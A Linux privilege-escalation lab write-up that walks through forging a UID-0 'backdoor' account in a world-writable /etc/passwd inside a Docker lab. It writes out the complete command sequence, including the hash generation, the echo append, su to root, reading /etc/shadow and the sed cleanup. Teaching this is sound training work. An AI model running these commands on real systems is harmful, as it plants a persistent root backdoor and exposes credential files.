Writable /etc/passwd: Forging a Root Account
Updated August 4, 2026 · Written by PWNMI — see About.
Every other lab in this series involves some kind of exploit primitive — a shell escape, a race condition, a capability. This one doesn't. If /etc/passwd itself is writable by someone other than root, privilege escalation stops being a technique and becomes a text edit: append a line defining a new user with UID 0, and that user is root, by definition, the instant the system reads the file. No CVE, no specific product — this is a generic Linux privesc technique class, and one of the most direct ones that exists.
What you'll practice: understanding what actually makes a Linux user "root" (a number, not a name or a flag), generating a compatible password hash for a legacy /etc/passwd-based account, and independently verifying an escalation by actually authenticating as the new account rather than trusting that the file write alone proves anything.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set technique-labs/writable-etc-passwd
cd technique-labs/writable-etc-passwd
docker compose up -d --build
Drop into a shell as analyst, an ordinary unprivileged user:
docker compose exec -u analyst app bash
id
Understanding the technique
/etc/passwd defines every local account on the system: username, UID, GID, home directory, shell, and — on older or shadow-less configurations — the password hash itself. What actually makes an account "root" isn't the name root; it's having UID 0. The kernel and every privilege check downstream of it cares about the number, not the string next to it in the file.
This lab's misconfiguration: /etc/passwd was left world-writable (666 instead of the standard 644), plausibly because a config-management run meant to fix ownership under /etc/app-config globbed too broadly and touched /etc itself. Nothing needs to be exploited here — the file that defines every account on the system can simply be edited by anyone.
Exploitation
Confirm the permissions problem first:
ls -la /etc/passwd
-rw-rw-rw- 1 root root 884 <date> /etc/passwd
World-writable. Generate a password hash for a new account — openssl passwd produces a format /etc/passwd itself understands directly, no /etc/shadow involved:
openssl passwd -1 -salt xyz Passw0rd123
$1$xyz$LXgdO.s1csOzGEwygZ5Cc1
Append a new line defining that account with UID 0 and GID 0 — the fields are username:password_hash:UID:GID:comment:home:shell:
echo 'backdoor:$1$xyz$LXgdO.s1csOzGEwygZ5Cc1:0:0:root:/root:/bin/bash' >> /etc/passwd
Don't stop here and assume it worked because the write succeeded — a permissions problem lets you write the line, but only actually authenticating as that account proves it grants root. From a fresh shell:
su backdoor
Enter Passw0rd123 when prompted:
Password:
id
uid=0(root) gid=0(root) groups=0(root)
Full root — both uid and gid, unlike the capabilities lab's asymmetric grant, since this account was defined with GID 0 directly. Confirm independently:
head -1 /etc/shadow
root:*:20647:0:99999:7:::
Cleanup
This one leaves a real, persistent artifact: a fully functional root-equivalent account sitting in /etc/passwd. Unlike the other labs in this series, "tear the container down" is not the same as "this is safe to leave" if you were doing this against a real target — document the exact line you added and remove it:
sed -i '/^backdoor:/d' /etc/passwd
On a real engagement, this is exactly the kind of finding where you record the account name and the timestamp you created it before removing it — the client's own audit trail needs proof of what was added and when, independent of whether you cleaned it up yourself.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- Root is a number, not a name. Any account with UID 0 has root's privileges, regardless of what it's called — "look for a user named root" is not the same check as "look for UID 0," and only the second one is actually correct.
- A write succeeding is not the same as a privilege escalation succeeding. This technique has two steps that both have to work: the file write, and then actually authenticating as the account you created. Skipping the second step means trusting that the first one did what you think it did.
- Not every privesc technique needs an exploit primitive. A permissions bug on the right file is sometimes just... the vulnerability, directly, with no shell escape or race condition required to turn it into root.
Next step
This closes out the initial batch of Linux privesc technique labs — start from SUID Binary Abuse if you're working through them in order. For the broader mental model behind all of them, see Privilege Escalation Fundamentals and the Script Privilege Escalation checklist.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.